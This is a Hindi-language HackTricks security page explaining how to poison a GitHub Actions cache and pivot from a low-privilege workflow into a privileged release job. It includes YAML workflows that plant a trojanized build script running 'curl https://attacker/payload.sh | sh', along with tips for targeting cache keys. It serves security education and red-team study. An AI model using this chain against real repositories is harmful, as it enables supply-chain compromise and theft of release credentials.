GH Actions - Cache Poisoning

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

अवलोकन

GitHub Actions cache किसी repository के लिए global होता है। कोई भी workflow जो cache key (या restore-keys) जानता है वह उस एंट्री को भर सकता है, भले ही job में केवल permissions: contents: read ही हों। GitHub caches को workflow, event type, या trust level के हिसाब से अलग नहीं करता, इसलिए एक attacker जो किसी low-privilege job को compromise कर लेता है, वह उस cache को poison कर सकता है जिसे बाद में कोई privileged release job restore कर लेगा। यही तरीका था जिससे Ultralytics का compromise pull_request_target workflow से PyPI publishing pipeline में pivot किया।

हमले के मूल तत्व

  • actions/cache दोनों restore और save operations को एक्सपोज़ करता है (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4)। save कॉल किसी भी job के लिए allowed है सिवाय उन वास्तव में untrusted pull_request workflows के जो forks से trigger होते हैं।
  • Cache entries केवल key से पहचाने जाते हैं। व्यापक restore-keys payloads inject करना आसान बनाते हैं क्योंकि attacker को केवल एक prefix के साथ collide करना होता है।
  • Cached filesystem को verbatim restore किया जाता है। अगर cache में ऐसे scripts या binaries हैं जो बाद में execute होते हैं, तो attacker उस execution path को नियंत्रित कर सकता है।

उदाहरण एक्सप्लॉइटेशन चेन

Author workflow (pull_request_target) ने cache को poison कर दिया:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Privileged workflow को पुनर्स्थापित किया गया और poisoned cache को निष्पादित किया गया:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

दूसरा जॉब अब attacker-controlled code चलाता है जबकि यह release credentials (PyPI tokens, PATs, cloud deploy keys, आदि) रखता है।

व्यावहारिक exploitation टिप्स

  • उन workflows को लक्षित करें जो pull_request_target, issue_comment, या bot commands द्वारा trigger होते हैं और फिर भी caches सेव करते हैं; GitHub उन्हें repository-wide keys को overwrite करने की अनुमति देता है भले ही runner को repo पर केवल read access ही हो।
  • ऐसे deterministic cache keys खोजें जो trust boundaries के पार reuse होते हैं (उदा., pip-${{ hashFiles('poetry.lock') }}) या permissive restore-keys, और privileged workflow चलने से पहले अपना malicious tarball सेव कर दें।
  • लॉग्स में Cache saved एंट्रीज़ मॉनिटर करें या अपना cache-save step जोड़ें ताकि अगला release job payload को restore करे और trojanized scripts या binaries execute हों।

References

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें